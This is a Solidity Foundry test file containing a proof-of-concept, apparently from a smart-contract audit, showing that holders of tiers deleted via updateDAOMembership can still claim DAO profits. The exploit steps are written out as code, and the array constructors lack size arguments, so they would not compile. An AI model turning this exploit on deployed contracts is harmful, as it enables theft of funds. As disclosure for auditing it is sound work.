pragma solidity 0.8.22;
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {DAOType, DAOConfig, DAOInputConfig, TierConfig} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {Test} from "lib/forge-std/src/Test.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {console2} from "lib/forge-std/src/console2.sol";
contract Base is Test {
string baseURI = "0x";
address owpWallet = makeAddr("owpWallet");
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
MembershipERC1155 membershiImplementation;
MembershipFactory membershipFactory;
CurrencyManager currencyManager;
ERC20Mock currency;
event UserJoinedDAO(address indexed user, address indexed membershipNftAddress, uint256 tierIndex);
function setUp() public {
vm.startPrank(owner);
membershiImplementation = new MembershipERC1155();
currencyManager = new CurrencyManager();
currency = new ERC20Mock("Currency", "CUR", 100e18);
membershipFactory =
new MembershipFactory(address(currencyManager), owpWallet, baseURI, address(membershiImplementation));
currencyManager.addCurrency(address(currency));
currency.mint(alice, 100e18);
currency.mint(bob, 100e18);
currency.mint(charlie, 100e18);
vm.stopPrank();
}
function test_POC_downgradingDAOTierUsing_updateDAOMembership() public {
vm.startPrank(alice);
DAOInputConfig memory daoConfig = DAOInputConfig("DAO", DAOType.PUBLIC, address(currency), 100, 3);
TierConfig[] memory tiersConfig = new TierConfig[]();
tiersConfig[0] = TierConfig(10, 100, 30, 0);
tiersConfig[1] = TierConfig(10, 100, 20, 0);
tiersConfig[2] = TierConfig(10, 100, 10, 0);
address daoAddress = membershipFactory.createNewDAOMembership(daoConfig, tiersConfig);
vm.stopPrank();
vm.startPrank(bob);
uint256 tierIndex = 2;
currency.approve(address(membershipFactory), 100e18);
membershipFactory.joinDAO(daoAddress, tierIndex);
vm.stopPrank();
vm.startPrank(owner);
TierConfig[] memory newTiersConfig = new TierConfig[]();
newTiersConfig[0] = TierConfig(10, 100, 30, 0);
newTiersConfig[1] = TierConfig(10, 100, 20, 0);
membershipFactory.updateDAOMembership("DAO", newTiersConfig);
vm.stopPrank();
vm.startPrank(charlie);
currency.approve(address(membershipFactory), 100e18);
tierIndex = 1;
membershipFactory.joinDAO(daoAddress, tierIndex);
vm.stopPrank();
vm.startPrank(owner);
currency.approve(daoAddress, 10e18);
MembershipERC1155(daoAddress).sendProfit(10e18);
console2.log("total supply:", MembershipERC1155(daoAddress).totalSupply());
console2.log("total profit:", MembershipERC1155(daoAddress).totalProfit());
console2.log("profit of bob:", MembershipERC1155(daoAddress).profitOf(bob));
console2.log("profit of charlie:", MembershipERC1155(daoAddress).profitOf(charlie));
vm.stopPrank();
vm.startPrank(bob);
uint256 bobBalanceBefore = currency.balanceOf(bob);
MembershipERC1155(daoAddress).claimProfit();
uint256 bobBalanceAfter = currency.balanceOf(bob);
vm.startPrank(charlie);
uint256 charlieBalanceBefore = currency.balanceOf(charlie);
MembershipERC1155(daoAddress).claimProfit();
uint256 charlieBalanceAfter = currency.balanceOf(charlie);
console2.log("Bob balance change: ", bobBalanceAfter - bobBalanceBefore);
console2.log("Charlie balance change: ", charlieBalanceAfter - charlieBalanceBefore);
}
}
Holders of the deleted tiers can still retain all privileges, including claiming profits with shares of the corresponding tier.